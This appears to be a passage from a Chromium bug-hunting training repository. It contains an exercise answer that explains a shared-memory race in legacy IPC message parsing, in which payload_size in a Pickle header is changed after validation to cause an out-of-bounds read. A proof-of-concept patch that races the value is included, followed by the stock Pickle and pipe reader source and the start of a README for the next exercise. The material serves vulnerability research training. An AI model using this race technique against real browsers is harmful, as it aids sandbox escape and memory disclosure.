My answer ```c++ // Typemapped such that arbitrarily large IPC::Message objects can be sent and // received with minimal copying. struct Message { mojo_base.mojom.BigBuffer buffer; [1] array? handles; }; ======================================= union BigBuffer { array bytes; BigBufferSharedMemoryRegion shared_memory; [2] bool invalid_buffer; }; ``` [1] | [2] `BigBuffer` is backed by an `array` of bytes when the message is **small**; but it's backed by `shared memory` if the message is **large**. This means that a malicious renderer can send legacy `IPC messages` backed by `shared memory`. ```c++ void MessagePipeReader::Receive(MessageView message_view) { if (!message_view.size()) { delegate_->OnBrokenDataReceived(); return; } Message message(message_view.data(), message_view.size()); [3] if (!message.IsValid()) { delegate_->OnBrokenDataReceived(); return; } [ ... ] ``` [3] `ipc::Message` inherits from `base::Pickle` ```c++ class IPC_MESSAGE_SUPPORT_EXPORT Message : public base::Pickle { public: //[ ... ] // Initializes a message from a const block of data. The data is not copied; // instead the data is merely referenced by this message. Only const methods // should be used on the message when initialized this way. Message(const char* data, int data_len); ============================================= Message::Message(const char* data, int data_len) : base::Pickle(data, data_len) { [4] Init(); } ``` The constructor of `Message` call `Pickle`'s constructor ```c++ Pickle::Pickle(const char* data, size_t data_len) : header_(reinterpret_cast(const_cast(data))), header_size_(0), capacity_after_header_(kCapacityReadOnly), write_offset_(0) { if (data_len >= static_cast(sizeof(Header))) [5] header_size_ = data_len - header_->payload_size; if (header_size_ > static_cast(data_len)) header_size_ = 0; [ ... ] ``` [5] after check `payload_size` at this point, we can chenge `payload_size` in Pickle's header by the other side which have the access of `shared_memory` Since `base::Pickle` expects to find a `header` at the start of the region, by changing the length field in that header after the checks in the `Pickle` constructor ```c++ PickleIterator::PickleIterator(const Pickle& pickle) : payload_(pickle.payload()), read_index_(0), end_index_(pickle.payload_size()) { [6] } =================================================== // This class provides facilities for basic binary value packing and unpacking. // // The Pickle's data has a header which contains the size of the Pickle's // payload. It can optionally support additional space in the header. That // space is controlled by the header_size parameter passed to the Pickle // constructor. // class BASE_EXPORT Pickle { public: //[ ... ] // The payload is the pickle data immediately following the header. size_t payload_size() const { return header_ ? header_->payload_size : 0; [7] } ``` [6] | [7] `PickleIterator`'s `end_index_ == header_->payload_size`, we can use it to oob read ```c++ // PickleIterator reads data from a Pickle. The Pickle object must remain valid // while the PickleIterator object is in use. class BASE_EXPORT PickleIterator { public: PickleIterator() : payload_(nullptr), read_index_(0), end_index_(0) {} explicit PickleIterator(const Pickle& pickle); // Methods for reading the payload of the Pickle. To read from the start of // the Pickle, create a PickleIterator from a Pickle. If successful, these // methods return true. Otherwise, false is returned to indicate that the // result could not be extracted. It is not possible to read from the iterator // after that. bool ReadBool(bool* result) WARN_UNUSED_RESULT; bool ReadInt(int* result) WARN_UNUSED_RESULT; bool ReadLong(long* result) WARN_UNUSED_RESULT; [ ... ] ``` Set `PickleIterator.end_index_` to a huge num, we can get oob read by these Methods. **Poc** We can write code in source file The attached patch forces all legacy IPC messages sent by renderers to be sent as *shared memory*, and *creates a new thread* in each renderer that *flips the high bits of the payload_size* value for a short period after each message is sent; this has a "reasonable" chance of having valid values to pass through the checks, and then invalid values later on. ```diff diff --git a/ipc/ipc_message_pipe_reader.cc b/ipc/ipc_message_pipe_reader.cc index 6e7bf51b0e05..2d3b57e7a205 100644 --- a/ipc/ipc_message_pipe_reader.cc +++ b/ipc/ipc_message_pipe_reader.cc @@ -6,10 +6,13 @@ #include +#include #include #include "base/bind.h" #include "base/callback_helpers.h" +#include "base/command_line.h" +#include "base/debug/stack_trace.h" #include "base/location.h" #include "base/logging.h" #include "base/macros.h" @@ -18,6 +21,13 @@ #include "ipc/ipc_channel_mojo.h" #include "mojo/public/cpp/bindings/message.h" +std::string GetProcessType() { + std::string type = base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type"); + if (type == "") + return "browser"; + return type; +} + namespace IPC { namespace internal { @@ -35,6 +45,10 @@ MessagePipeReader::MessagePipeReader( receiver_.set_disconnect_handler( base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this), MOJO_RESULT_FAILED_PRECONDITION)); + if (GetProcessType() == "renderer") { + race_thread_ = std::make_unique("race_thread"); + race_thread_->Start(); + } } MessagePipeReader::~MessagePipeReader() { @@ -49,6 +63,17 @@ void MessagePipeReader::Close() { receiver_.reset(); } +static void race_ipc_message(mojo::ScopedSharedBufferHandle shm_handle) { + auto mapping = shm_handle->Map(0x100); + fprintf(stderr, "racing\n"); + volatile uint32_t* ptr = (volatile uint32_t*)mapping.get(); + for (int i = 0; i < 0x80000; ++i) { + *ptr ^= 0x23230000; + } + *ptr ^= 0x23230000; + fprintf(stderr, "done racing\n"); +} + bool MessagePipeReader::Send(std::unique_ptr message) { CHECK(message->IsValid()); TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Send", @@ -62,9 +87,27 @@ bool MessagePipeReader::Send(std::unique_ptr message) { if (!sender_) return false; - sender_->Receive(MessageView(*message, std::move(handles))); - DVLOG(4) << "Send " << message->type() << ": " << message->size(); - return true; + if (GetProcessType() == "renderer") { + auto shm_handle = mojo::SharedBufferHandle::Create(message->size() > 0x1000 ? message->size() : 0x1000); + auto shm_handle_copy = shm_handle->Clone(mojo::SharedBufferHandle::AccessMode::READ_WRITE); + + mojo_base::internal::BigBufferSharedMemoryRegion shm_region(std::move(shm_handle), message->size()); + memcpy(shm_region.memory(), message->data(), message->size()); + mojo_base::BigBufferView big_buffer_view; + big_buffer_view.SetSharedMemory(std::move(shm_region)); + + race_thread_->task_runner()->PostTask(FROM_HERE, + base::BindOnce(race_ipc_message, std::move(shm_handle_copy))); + + sender_->Receive(MessageView(std::move(big_buffer_view), std::move(handles))); + + DVLOG(4) << "Send " << message->type() << ": " << message->size(); + return true; + } else { + sender_->Receive(MessageView(*message, std::move(handles))); + DVLOG(4) << "Send " << message->type() << ": " << message->size(); + return true; + } } void MessagePipeReader::GetRemoteInterface( diff --git a/ipc/ipc_message_pipe_reader.h b/ipc/ipc_message_pipe_reader.h index b7f73d2a9aee..6c26987dadcd 100644 --- a/ipc/ipc_message_pipe_reader.h +++ b/ipc/ipc_message_pipe_reader.h @@ -15,6 +15,7 @@ #include "base/component_export.h" #include "base/macros.h" #include "base/process/process_handle.h" +#include "base/threading/thread.h" #include "base/threading/thread_checker.h" #include "ipc/ipc.mojom.h" #include "ipc/ipc_message.h" @@ -106,6 +107,9 @@ class COMPONENT_EXPORT(IPC) MessagePipeReader : public mojom::Channel { Delegate* delegate_; mojo::AssociatedRemote sender_; mojo::AssociatedReceiver receiver_; + + std::unique_ptr race_thread_; + base::ThreadChecker thread_checker_; DISALLOW_COPY_AND_ASSIGN(MessagePipeReader); ```
-------- ================================================ FILE: LEVEL_3/exercise_6/ipc_message_pipe_reader.cc ================================================ // Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ipc/ipc_message_pipe_reader.h" #include #include #include "base/bind.h" #include "base/callback_helpers.h" #include "base/location.h" #include "base/logging.h" #include "base/macros.h" #include "base/single_thread_task_runner.h" #include "base/threading/thread_task_runner_handle.h" #include "ipc/ipc_channel_mojo.h" #include "mojo/public/cpp/bindings/message.h" namespace IPC { namespace internal { MessagePipeReader::MessagePipeReader( mojo::MessagePipeHandle pipe, mojo::AssociatedRemote sender, mojo::PendingAssociatedReceiver receiver, MessagePipeReader::Delegate* delegate) : delegate_(delegate), sender_(std::move(sender)), receiver_(this, std::move(receiver)) { sender_.set_disconnect_handler( base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this), MOJO_RESULT_FAILED_PRECONDITION)); receiver_.set_disconnect_handler( base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this), MOJO_RESULT_FAILED_PRECONDITION)); } MessagePipeReader::~MessagePipeReader() { DCHECK(thread_checker_.CalledOnValidThread()); // The pipe should be closed before deletion. } void MessagePipeReader::Close() { DCHECK(thread_checker_.CalledOnValidThread()); sender_.reset(); if (receiver_.is_bound()) receiver_.reset(); } bool MessagePipeReader::Send(std::unique_ptr message) { CHECK(message->IsValid()); TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Send", message->flags(), TRACE_EVENT_FLAG_FLOW_OUT); base::Optional> handles; MojoResult result = MOJO_RESULT_OK; result = ChannelMojo::ReadFromMessageAttachmentSet(message.get(), &handles); if (result != MOJO_RESULT_OK) return false; if (!sender_) return false; sender_->Receive(MessageView(*message, std::move(handles))); DVLOG(4) << "Send " << message->type() << ": " << message->size(); return true; } void MessagePipeReader::GetRemoteInterface( const std::string& name, mojo::ScopedInterfaceEndpointHandle handle) { if (!sender_.is_bound()) return; sender_->GetAssociatedInterface( name, mojo::PendingAssociatedReceiver( std::move(handle))); } void MessagePipeReader::SetPeerPid(int32_t peer_pid) { delegate_->OnPeerPidReceived(peer_pid); } void MessagePipeReader::Receive(MessageView message_view) { if (!message_view.size()) { delegate_->OnBrokenDataReceived(); return; } Message message(message_view.data(), message_view.size()); if (!message.IsValid()) { delegate_->OnBrokenDataReceived(); return; } DVLOG(4) << "Receive " << message.type() << ": " << message.size(); MojoResult write_result = ChannelMojo::WriteToMessageAttachmentSet( message_view.TakeHandles(), &message); if (write_result != MOJO_RESULT_OK) { OnPipeError(write_result); return; } TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Receive", message.flags(), TRACE_EVENT_FLAG_FLOW_IN); delegate_->OnMessageReceived(message); } void MessagePipeReader::GetAssociatedInterface( const std::string& name, mojo::PendingAssociatedReceiver receiver) { DCHECK(thread_checker_.CalledOnValidThread()); if (delegate_) delegate_->OnAssociatedInterfaceRequest(name, receiver.PassHandle()); } void MessagePipeReader::OnPipeError(MojoResult error) { DCHECK(thread_checker_.CalledOnValidThread()); Close(); // NOTE: The delegate call below may delete |this|. if (delegate_) delegate_->OnPipeError(); } } // namespace internal } // namespace IPC ================================================ FILE: LEVEL_3/exercise_6/pickle.cc ================================================ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/pickle.h" #include #include // for max() #include #include "base/bits.h" #include "base/macros.h" #include "base/numerics/safe_conversions.h" #include "base/numerics/safe_math.h" #include "build/build_config.h" namespace base { // static const int Pickle::kPayloadUnit = 64; static const size_t kCapacityReadOnly = static_cast(-1); PickleIterator::PickleIterator(const Pickle& pickle) : payload_(pickle.payload()), read_index_(0), end_index_(pickle.payload_size()) { } template inline bool PickleIterator::ReadBuiltinType(Type* result) { const char* read_from = GetReadPointerAndAdvance(); if (!read_from) return false; if (sizeof(Type) > sizeof(uint32_t)) memcpy(result, read_from, sizeof(*result)); else *result = *reinterpret_cast(read_from); return true; } inline void PickleIterator::Advance(size_t size) { size_t aligned_size = bits::AlignUp(size, sizeof(uint32_t)); if (end_index_ - read_index_ < aligned_size) { read_index_ = end_index_; } else { read_index_ += aligned_size; } } template inline const char* PickleIterator::GetReadPointerAndAdvance() { if (sizeof(Type) > end_index_ - read_index_) { read_index_ = end_index_; return nullptr; } const char* current_read_ptr = payload_ + read_index_; Advance(sizeof(Type)); return current_read_ptr; } const char* PickleIterator::GetReadPointerAndAdvance(int num_bytes) { if (num_bytes < 0 || end_index_ - read_index_ < static_cast(num_bytes)) { read_index_ = end_index_; return nullptr; } const char* current_read_ptr = payload_ + read_index_; Advance(num_bytes); return current_read_ptr; } inline const char* PickleIterator::GetReadPointerAndAdvance( int num_elements, size_t size_element) { // Check for int32_t overflow. int num_bytes; if (!CheckMul(num_elements, size_element).AssignIfValid(&num_bytes)) return nullptr; return GetReadPointerAndAdvance(num_bytes); } bool PickleIterator::ReadBool(bool* result) { return ReadBuiltinType(result); } bool PickleIterator::ReadInt(int* result) { return ReadBuiltinType(result); } bool PickleIterator::ReadLong(long* result) { // Always read long as a 64-bit value to ensure compatibility between 32-bit // and 64-bit processes. int64_t result_int64 = 0; if (!ReadBuiltinType(&result_int64)) return false; // CHECK if the cast truncates the value so that we know to change this IPC // parameter to use int64_t. *result = base::checked_cast(result_int64); return true; } bool PickleIterator::ReadUInt16(uint16_t* result) { return ReadBuiltinType(result); } bool PickleIterator::ReadUInt32(uint32_t* result) { return ReadBuiltinType(result); } bool PickleIterator::ReadInt64(int64_t* result) { return ReadBuiltinType(result); } bool PickleIterator::ReadUInt64(uint64_t* result) { return ReadBuiltinType(result); } bool PickleIterator::ReadFloat(float* result) { // crbug.com/315213 // The source data may not be properly aligned, and unaligned float reads // cause SIGBUS on some ARM platforms, so force using memcpy to copy the data // into the result. const char* read_from = GetReadPointerAndAdvance(); if (!read_from) return false; memcpy(result, read_from, sizeof(*result)); return true; } bool PickleIterator::ReadDouble(double* result) { // crbug.com/315213 // The source data may not be properly aligned, and unaligned double reads // cause SIGBUS on some ARM platforms, so force using memcpy to copy the data // into the result. const char* read_from = GetReadPointerAndAdvance(); if (!read_from) return false; memcpy(result, read_from, sizeof(*result)); return true; } bool PickleIterator::ReadString(std::string* result) { int len; if (!ReadInt(&len)) return false; const char* read_from = GetReadPointerAndAdvance(len); if (!read_from) return false; result->assign(read_from, len); return true; } bool PickleIterator::ReadStringPiece(StringPiece* result) { int len; if (!ReadInt(&len)) return false; const char* read_from = GetReadPointerAndAdvance(len); if (!read_from) return false; *result = StringPiece(read_from, len); return true; } bool PickleIterator::ReadString16(string16* result) { int len; if (!ReadInt(&len)) return false; const char* read_from = GetReadPointerAndAdvance(len, sizeof(char16)); if (!read_from) return false; result->assign(reinterpret_cast(read_from), len); return true; } bool PickleIterator::ReadStringPiece16(StringPiece16* result) { int len; if (!ReadInt(&len)) return false; const char* read_from = GetReadPointerAndAdvance(len, sizeof(char16)); if (!read_from) return false; *result = StringPiece16(reinterpret_cast(read_from), len); return true; } bool PickleIterator::ReadData(const char** data, int* length) { *length = 0; *data = nullptr; if (!ReadInt(length)) return false; return ReadBytes(data, *length); } bool PickleIterator::ReadData(base::span* data) { const char* ptr; int length; if (!ReadData(&ptr, &length)) return false; *data = base::as_bytes(base::make_span(ptr, length)); return true; } bool PickleIterator::ReadBytes(const char** data, int length) { const char* read_from = GetReadPointerAndAdvance(length); if (!read_from) return false; *data = read_from; return true; } Pickle::Attachment::Attachment() = default; Pickle::Attachment::~Attachment() = default; // Payload is uint32_t aligned. Pickle::Pickle() : header_(nullptr), header_size_(sizeof(Header)), capacity_after_header_(0), write_offset_(0) { static_assert(base::bits::IsPowerOfTwo(Pickle::kPayloadUnit), "Pickle::kPayloadUnit must be a power of two"); Resize(kPayloadUnit); header_->payload_size = 0; } Pickle::Pickle(int header_size) : header_(nullptr), header_size_(bits::AlignUp(header_size, sizeof(uint32_t))), capacity_after_header_(0), write_offset_(0) { DCHECK_GE(static_cast(header_size), sizeof(Header)); DCHECK_LE(header_size, kPayloadUnit); Resize(kPayloadUnit); header_->payload_size = 0; } Pickle::Pickle(const char* data, size_t data_len) : header_(reinterpret_cast(const_cast(data))), header_size_(0), capacity_after_header_(kCapacityReadOnly), write_offset_(0) { if (data_len >= static_cast(sizeof(Header))) header_size_ = data_len - header_->payload_size; if (header_size_ > static_cast(data_len)) header_size_ = 0; if (header_size_ != bits::AlignUp(header_size_, sizeof(uint32_t))) header_size_ = 0; // If there is anything wrong with the data, we're not going to use it. if (!header_size_) header_ = nullptr; } Pickle::Pickle(const Pickle& other) : header_(nullptr), header_size_(other.header_size_), capacity_after_header_(0), write_offset_(other.write_offset_) { Resize(other.header_->payload_size); memcpy(header_, other.header_, header_size_ + other.header_->payload_size); } Pickle::~Pickle() { if (capacity_after_header_ != kCapacityReadOnly) free(header_); } Pickle& Pickle::operator=(const Pickle& other) { if (this == &other) { return *this; } if (capacity_after_header_ == kCapacityReadOnly) { header_ = nullptr; capacity_after_header_ = 0; } if (header_size_ != other.header_size_) { free(header_); header_ = nullptr; header_size_ = other.header_size_; } Resize(other.header_->payload_size); memcpy(header_, other.header_, other.header_size_ + other.header_->payload_size); write_offset_ = other.write_offset_; return *this; } void Pickle::WriteString(const StringPiece& value) { WriteInt(static_cast(value.size())); WriteBytes(value.data(), static_cast(value.size())); } void Pickle::WriteString16(const StringPiece16& value) { WriteInt(static_cast(value.size())); WriteBytes(value.data(), static_cast(value.size()) * sizeof(char16)); } void Pickle::WriteData(const char* data, int length) { DCHECK_GE(length, 0); WriteInt(length); WriteBytes(data, length); } void Pickle::WriteBytes(const void* data, int length) { WriteBytesCommon(data, length); } void Pickle::Reserve(size_t length) { size_t data_len = bits::AlignUp(length, sizeof(uint32_t)); DCHECK_GE(data_len, length); #ifdef ARCH_CPU_64_BITS DCHECK_LE(data_len, std::numeric_limits::max()); #endif DCHECK_LE(write_offset_, std::numeric_limits::max() - data_len); size_t new_size = write_offset_ + data_len; if (new_size > capacity_after_header_) Resize(capacity_after_header_ * 2 + new_size); } bool Pickle::WriteAttachment(scoped_refptr attachment) { return false; } bool Pickle::ReadAttachment(base::PickleIterator* iter, scoped_refptr* attachment) const { return false; } bool Pickle::HasAttachments() const { return false; } void Pickle::Resize(size_t new_capacity) { CHECK_NE(capacity_after_header_, kCapacityReadOnly); capacity_after_header_ = bits::AlignUp(new_capacity, kPayloadUnit); void* p = realloc(header_, GetTotalAllocatedSize()); CHECK(p); header_ = reinterpret_cast(p); } void* Pickle::ClaimBytes(size_t num_bytes) { void* p = ClaimUninitializedBytesInternal(num_bytes); CHECK(p); memset(p, 0, num_bytes); return p; } size_t Pickle::GetTotalAllocatedSize() const { if (capacity_after_header_ == kCapacityReadOnly) return 0; return header_size_ + capacity_after_header_; } // static const char* Pickle::FindNext(size_t header_size, const char* start, const char* end) { size_t pickle_size = 0; if (!PeekNext(header_size, start, end, &pickle_size)) return nullptr; if (pickle_size > static_cast(end - start)) return nullptr; return start + pickle_size; } // static bool Pickle::PeekNext(size_t header_size, const char* start, const char* end, size_t* pickle_size) { DCHECK_EQ(header_size, bits::AlignUp(header_size, sizeof(uint32_t))); DCHECK_GE(header_size, sizeof(Header)); DCHECK_LE(header_size, static_cast(kPayloadUnit)); size_t length = static_cast(end - start); if (length < sizeof(Header)) return false; const Header* hdr = reinterpret_cast(start); if (length < header_size) return false; // If payload_size causes an overflow, we return maximum possible // pickle size to indicate that. *pickle_size = ClampAdd(header_size, hdr->payload_size); return true; } template void Pickle::WriteBytesStatic(const void* data) { WriteBytesCommon(data, length); } template void Pickle::WriteBytesStatic<2>(const void* data); template void Pickle::WriteBytesStatic<4>(const void* data); template void Pickle::WriteBytesStatic<8>(const void* data); inline void* Pickle::ClaimUninitializedBytesInternal(size_t length) { DCHECK_NE(kCapacityReadOnly, capacity_after_header_) << "oops: pickle is readonly"; size_t data_len = bits::AlignUp(length, sizeof(uint32_t)); DCHECK_GE(data_len, length); #ifdef ARCH_CPU_64_BITS DCHECK_LE(data_len, std::numeric_limits::max()); #endif DCHECK_LE(write_offset_, std::numeric_limits::max() - data_len); size_t new_size = write_offset_ + data_len; if (new_size > capacity_after_header_) { size_t new_capacity = capacity_after_header_ * 2; const size_t kPickleHeapAlign = 4096; if (new_capacity > kPickleHeapAlign) { new_capacity = bits::AlignUp(new_capacity, kPickleHeapAlign) - kPayloadUnit; } Resize(std::max(new_capacity, new_size)); } char* write = mutable_payload() + write_offset_; memset(write + length, 0, data_len - length); // Always initialize padding header_->payload_size = static_cast(new_size); write_offset_ = new_size; return write; } inline void Pickle::WriteBytesCommon(const void* data, size_t length) { DCHECK_NE(kCapacityReadOnly, capacity_after_header_) << "oops: pickle is readonly"; MSAN_CHECK_MEM_IS_INITIALIZED(data, length); void* write = ClaimUninitializedBytesInternal(length); memcpy(write, data, length); } } // namespace base ================================================ FILE: LEVEL_3/exercise_6/pickle.h ================================================ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef BASE_PICKLE_H_ #define BASE_PICKLE_H_ #include #include #include #include "base/base_export.h" #include "base/check_op.h" #include "base/containers/span.h" #include "base/gtest_prod_util.h" #include "base/memory/ref_counted.h" #include "base/strings/string16.h" #include "base/strings/string_piece.h" namespace base { class Pickle; // PickleIterator reads data from a Pickle. The Pickle object must remain valid // while the PickleIterator object is in use. class BASE_EXPORT PickleIterator { public: PickleIterator() : payload_(nullptr), read_index_(0), end_index_(0) {} explicit PickleIterator(const Pickle& pickle); // Methods for reading the payload of the Pickle. To read from the start of // the Pickle, create a PickleIterator from a Pickle. If successful, these // methods return true. Otherwise, false is returned to indicate that the // result could not be extracted. It is not possible to read from the iterator // after that. bool ReadBool(bool* result) WARN_UNUSED_RESULT; bool ReadInt(int* result) WARN_UNUSED_RESULT; bool ReadLong(long* result) WARN_UNUSED_RESULT; bool ReadUInt16(uint16_t* result) WARN_UNUSED_RESULT; bool ReadUInt32(uint32_t* result) WARN_UNUSED_RESULT; bool ReadInt64(int64_t* result) WARN_UNUSED_RESULT; bool ReadUInt64(uint64_t* result) WARN_UNUSED_RESULT; bool ReadFloat(float* result) WARN_UNUSED_RESULT; bool ReadDouble(double* result) WARN_UNUSED_RESULT; bool ReadString(std::string* result) WARN_UNUSED_RESULT; // The StringPiece data will only be valid for the lifetime of the message. bool ReadStringPiece(StringPiece* result) WARN_UNUSED_RESULT; bool ReadString16(string16* result) WARN_UNUSED_RESULT; // The StringPiece16 data will only be valid for the lifetime of the message. bool ReadStringPiece16(StringPiece16* result) WARN_UNUSED_RESULT; // A pointer to the data will be placed in |*data|, and the length will be // placed in |*length|. The pointer placed into |*data| points into the // message's buffer so it will be scoped to the lifetime of the message (or // until the message data is mutated). Do not keep the pointer around! bool ReadData(const char** data, int* length) WARN_UNUSED_RESULT; // Similar, but using base::span for convenience. bool ReadData(base::span* data) WARN_UNUSED_RESULT; // A pointer to the data will be placed in |*data|. The caller specifies the // number of bytes to read, and ReadBytes will validate this length. The // pointer placed into |*data| points into the message's buffer so it will be // scoped to the lifetime of the message (or until the message data is // mutated). Do not keep the pointer around! bool ReadBytes(const char** data, int length) WARN_UNUSED_RESULT; // A safer version of ReadInt() that checks for the result not being negative. // Use it for reading the object sizes. bool ReadLength(int* result) WARN_UNUSED_RESULT { return ReadInt(result) && *result >= 0; } // Skips bytes in the read buffer and returns true if there are at least // num_bytes available. Otherwise, does nothing and returns false. bool SkipBytes(int num_bytes) WARN_UNUSED_RESULT { return !!GetReadPointerAndAdvance(num_bytes); } bool ReachedEnd() const { return read_index_ == end_index_; } private: // Read Type from Pickle. template bool ReadBuiltinType(Type* result); // Advance read_index_ but do not allow it to exceed end_index_. // Keeps read_index_ aligned. void Advance(size_t size); // Get read pointer for Type and advance read pointer. template const char* GetReadPointerAndAdvance(); // Get read pointer for |num_bytes| and advance read pointer. This method // checks num_bytes for negativity and wrapping. const char* GetReadPointerAndAdvance(int num_bytes); // Get read pointer for (num_elements * size_element) bytes and advance read // pointer. This method checks for int overflow, negativity and wrapping. const char* GetReadPointerAndAdvance(int num_elements, size_t size_element); const char* payload_; // Start of our pickle's payload. size_t read_index_; // Offset of the next readable byte in payload. size_t end_index_; // Payload size. FRIEND_TEST_ALL_PREFIXES(PickleTest, GetReadPointerAndAdvance); }; // This class provides facilities for basic binary value packing and unpacking. // // The Pickle class supports appending primitive values (ints, strings, etc.) // to a pickle instance. The Pickle instance grows its internal memory buffer // dynamically to hold the sequence of primitive values. The internal memory // buffer is exposed as the "data" of the Pickle. This "data" can be passed // to a Pickle object to initialize it for reading. // // When reading from a Pickle object, it is important for the consumer to know // what value types to read and in what order to read them as the Pickle does // not keep track of the type of data written to it. // // The Pickle's data has a header which contains the size of the Pickle's // payload. It can optionally support additional space in the header. That // space is controlled by the header_size parameter passed to the Pickle // constructor. // class BASE_EXPORT Pickle { public: // Auxiliary data attached to a Pickle. Pickle must be subclassed along with // this interface in order to provide a concrete implementation of support // for attachments. The base Pickle implementation does not accept // attachments. class BASE_EXPORT Attachment : public RefCountedThreadSafe { public: Attachment(); Attachment(const Attachment&) = delete; Attachment& operator=(const Attachment&) = delete; protected: friend class RefCountedThreadSafe; virtual ~Attachment(); }; // Initialize a Pickle object using the default header size. Pickle(); // Initialize a Pickle object with the specified header size in bytes, which // must be greater-than-or-equal-to sizeof(Pickle::Header). The header size // will be rounded up to ensure that the header size is 32bit-aligned. explicit Pickle(int header_size); // Initializes a Pickle from a const block of data. The data is not copied; // instead the data is merely referenced by this Pickle. Only const methods // should be used on the Pickle when initialized this way. The header // padding size is deduced from the data length. Pickle(const char* data, size_t data_len); // Initializes a Pickle as a deep copy of another Pickle. Pickle(const Pickle& other); // Note: There are no virtual methods in this class. This destructor is // virtual as an element of defensive coding. Other classes have derived from // this class, and there is a *chance* that they will cast into this base // class before destruction. At least one such class does have a virtual // destructor, suggesting at least some need to call more derived destructors. virtual ~Pickle(); // Performs a deep copy. Pickle& operator=(const Pickle& other); // Returns the number of bytes written in the Pickle, including the header. size_t size() const { return header_size_ + header_->payload_size; } // Returns the data for this Pickle. const void* data() const { return header_; } // Returns the effective memory capacity of this Pickle, that is, the total // number of bytes currently dynamically allocated or 0 in the case of a // read-only Pickle. This should be used only for diagnostic / profiling // purposes. size_t GetTotalAllocatedSize() const; // Methods for adding to the payload of the Pickle. These values are // appended to the end of the Pickle's payload. When reading values from a // Pickle, it is important to read them in the order in which they were added // to the Pickle. void WriteBool(bool value) { WriteInt(value ? 1 : 0); } void WriteInt(int value) { WritePOD(value); } void WriteLong(long value) { // Always write long as a 64-bit value to ensure compatibility between // 32-bit and 64-bit processes. WritePOD(static_cast(value)); } void WriteUInt16(uint16_t value) { WritePOD(value); } void WriteUInt32(uint32_t value) { WritePOD(value); } void WriteInt64(int64_t value) { WritePOD(value); } void WriteUInt64(uint64_t value) { WritePOD(value); } void WriteFloat(float value) { WritePOD(value); } void WriteDouble(double value) { WritePOD(value); } void WriteString(const StringPiece& value); void WriteString16(const StringPiece16& value); // "Data" is a blob with a length. When you read it out you will be given the // length. See also WriteBytes. void WriteData(const char* data, int length); // "Bytes" is a blob with no length. The caller must specify the length both // when reading and writing. It is normally used to serialize PoD types of a // known size. See also WriteData. void WriteBytes(const void* data, int length); // WriteAttachment appends |attachment| to the pickle. It returns // false iff the set is full or if the Pickle implementation does not support // attachments. virtual bool WriteAttachment(scoped_refptr attachment); // ReadAttachment parses an attachment given the parsing state |iter| and // writes it to |*attachment|. It returns true on success. virtual bool ReadAttachment(base::PickleIterator* iter, scoped_refptr* attachment) const; // Indicates whether the pickle has any attachments. virtual bool HasAttachments() const; // Reserves space for upcoming writes when multiple writes will be made and // their sizes are computed in advance. It can be significantly faster to call // Reserve() before calling WriteFoo() multiple times. void Reserve(size_t additional_capacity); // Payload follows after allocation of Header (header size is customizable). struct Header { uint32_t payload_size; // Specifies the size of the payload. }; // Returns the header, cast to a user-specified type T. The type T must be a // subclass of Header and its size must correspond to the header_size passed // to the Pickle constructor. template T* headerT() { DCHECK_EQ(header_size_, sizeof(T)); return static_cast(header_); } template const T* headerT() const { DCHECK_EQ(header_size_, sizeof(T)); return static_cast(header_); } // The payload is the pickle data immediately following the header. size_t payload_size() const { return header_ ? header_->payload_size : 0; } const char* payload() const { return reinterpret_cast(header_) + header_size_; } // Returns the address of the byte immediately following the currently valid // header + payload. const char* end_of_payload() const { // This object may be invalid. return header_ ? payload() + payload_size() : NULL; } protected: // Returns size of the header, which can have default value, set by user or // calculated by passed raw data. size_t header_size() const { return header_size_; } char* mutable_payload() { return reinterpret_cast(header_) + header_size_; } size_t capacity_after_header() const { return capacity_after_header_; } // Resize the capacity, note that the input value should not include the size // of the header. void Resize(size_t new_capacity); // Claims |num_bytes| bytes of payload. This is similar to Reserve() in that // it may grow the capacity, but it also advances the write offset of the // pickle by |num_bytes|. Claimed memory, including padding, is zeroed. // // Returns the address of the first byte claimed. void* ClaimBytes(size_t num_bytes); // Find the end of the pickled data that starts at range_start. Returns NULL // if the entire Pickle is not found in the given data range. static const char* FindNext(size_t header_size, const char* range_start, const char* range_end); // Parse pickle header and return total size of the pickle. Data range // doesn't need to contain entire pickle. // Returns true if pickle header was found and parsed. Callers must check // returned |pickle_size| for sanity (against maximum message size, etc). // NOTE: when function successfully parses a header, but encounters an // overflow during pickle size calculation, it sets |pickle_size| to the // maximum size_t value and returns true. static bool PeekNext(size_t header_size, const char* range_start, const char* range_end, size_t* pickle_size); // The allocation granularity of the payload. static const int kPayloadUnit; private: friend class PickleIterator; Header* header_; size_t header_size_; // Supports extra data between header and payload. // Allocation size of payload (or -1 if allocation is const). Note: this // doesn't count the header. size_t capacity_after_header_; // The offset at which we will write the next field. Note: this doesn't count // the header. size_t write_offset_; // Just like WriteBytes, but with a compile-time size, for performance. template void BASE_EXPORT WriteBytesStatic(const void* data); // Writes a POD by copying its bytes. template bool WritePOD(const T& data) { WriteBytesStatic(&data); return true; } inline void* ClaimUninitializedBytesInternal(size_t num_bytes); inline void WriteBytesCommon(const void* data, size_t length); FRIEND_TEST_ALL_PREFIXES(PickleTest, DeepCopyResize); FRIEND_TEST_ALL_PREFIXES(PickleTest, Resize); FRIEND_TEST_ALL_PREFIXES(PickleTest, PeekNext); FRIEND_TEST_ALL_PREFIXES(PickleTest, PeekNextOverflow); FRIEND_TEST_ALL_PREFIXES(PickleTest, FindNext); FRIEND_TEST_ALL_PREFIXES(PickleTest, FindNextWithIncompleteHeader); FRIEND_TEST_ALL_PREFIXES(PickleTest, FindNextOverflow); }; } // namespace base #endif // BASE_PICKLE_H_ ================================================ FILE: LEVEL_3/exercise_7/README.md ================================================ # Exercise 7 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. LEVEL 2 we do the same as LEVEL 1 without the help of Details. But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. ## CVE-2021-21155 I sugget 